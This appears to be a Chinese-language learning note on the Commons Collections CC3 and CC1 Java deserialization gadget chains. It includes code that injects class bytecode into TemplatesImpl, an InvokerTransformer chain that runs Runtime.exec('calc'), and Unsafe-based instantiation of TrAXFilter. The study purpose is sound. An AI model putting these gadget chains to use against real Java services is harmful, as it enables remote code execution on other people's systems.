今天在又看cc3的时候想不通一个问题,就是关于TrAXFilter这个类,我们看到这个类的构造方法
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
会直接触发templates.newTransformer();,而且这个构造方法是public的,所以我根本不需要再添加其他代码,只需要实例化它就可以直接弹出计算机了,为什么还需要InstantiateTransformer类来实例化它呢?
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Test1 {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {
TemplatesImpl templates= new TemplatesImpl();
setFiledValue(templates,"_name","ljl" );
byte[] code = Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\javacc3\\target\\classes\\org\\example\\Test.class"));
byte[][] codes = {code};
setFiledValue(templates,"_bytecodes",codes);
setFiledValue(templates,"_tfactory",new TransformerFactoryImpl());
TrAXFilter trAXFilter =new TrAXFilter(templates);
serialize(trAXFilter);
unserialize("1.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
out.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
public static void setFiledValue(Object object,String name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz = object.getClass();
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
field.set(object,filed_value);
}
}
运行后可以弹出计算器
于是带着这个疑惑问了一下java✌,最后也是学到了很多,不得不说,学到了
java✌问了我一个问题?
反序列化的时候会调用这个public的构造方法吗?
我懵逼了,不懂什么意思
然后java✌给我讲解了一番,这里我们看看这样一个例子,还记得cc1链
我们利用Runtime类是这样利用的
Transformer[] transformers = new Transformer[]{
//返回Runtime.class
new ConstantTransformer(Runtime.class),
//通过反射调用getRuntime()方法获取Runtime对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
//通过反射调用invoke()方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
//通过反射调用exec()方法启动notepad
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
但是我们看到Runtime
public static Runtime getRuntime() {
return currentRuntime;
}
是有一个public方法是可以获取到它的,为什么还要这么麻烦呢?
才想起是因为Runtime是没有继承序列化接口的,所以如果你直接实例化它,它是不能进行序列化的,也就不会反序列化了,所以我们得利用继承了序列化接口的类去搭
在讲解的过程中,我们在尝试利用反射去实例化
TrAXFilter类的时候又发生了一个问题
public class Test1 {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {
Class clazz = TrAXFilter.class;
Constructor constructor =clazz.getDeclaredConstructor(null);
}
在尝试去反射获取构造方法的时候报错
Exception in thread "main" java.lang.NoSuchMethodException: com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter)
at java.lang.Class.getConstructor0(Class.java:3082)
at java.lang.Class.getDeclaredConstructor(Class.java:2178)
at org.example.Test1.main(Test1.java:23)
找不到方法,我们尝试了很久,都没有获取到,于是java爷给我讲了一个unsafe类,可以无视构造方法实例化一个类
public class Test1 {
public static void main(String[] args) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException, InstantiationException {
Class clazz = Unsafe.class;
Constructor constructor = clazz.getDeclaredConstructor(null);
constructor.setAccessible(true);
Unsafe unsafe = (Unsafe) constructor.newInstance(null);
Object p=unsafe.allocateInstance(TrAXFilter.class);
System.out.println(p);
}
//输出com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter@74a14482
可以发现获取成功了,nice,nice